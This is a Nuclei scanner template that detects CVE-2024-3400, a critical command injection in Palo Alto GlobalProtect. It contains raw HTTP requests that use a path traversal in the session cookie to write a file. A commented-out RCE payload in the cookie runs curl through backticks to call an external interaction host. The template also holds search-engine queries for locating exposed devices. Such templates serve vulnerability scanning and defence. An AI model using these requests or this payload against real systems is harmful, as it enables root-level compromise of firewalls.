id: CVE-2024-3400

info:
  name: GlobalProtect - OS Command Injection
  author: salts,parthmalhotra
  severity: critical
  description: |
    A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.
  reference:
    - https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/
    - https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3400
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-3400
    cwe-id: CWE-77
    epss-score: 0.00371
    epss-percentile: 0.72356
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="-631559155"
    shodan-query: http.favicon.hash:-631559155
    product: pan-os
    vendor: paloaltonetworks
  tags: cve,cve2024,globalprotect,pan-os,rce,oast,kev

http:
  - raw:
      - |
        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /ssl-vpn/hipreport.esp HTTP/1.1
        Host: {{Hostname}}
        Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;
        Content-Type: application/x-www-form-urlencoded

        user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
      - |
        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}

      # Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}{{interactsh-url}}`; payload for rce, requires cronjob to be executed to run command

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 404 && status_code_3 == 403
          - contains(body_2, 'invalid required input parameters')
        condition: and
# digest: 4a0a00473045022100a1480b0b832bef7655fb52c49ae84122e9cabdf34c766e029002770e55073ba302200f1affd9a0d6cae40b943d774c8aee1af443981c4240f9ed87422a732fd69130:922c64590222798bb761d5b6d8e72950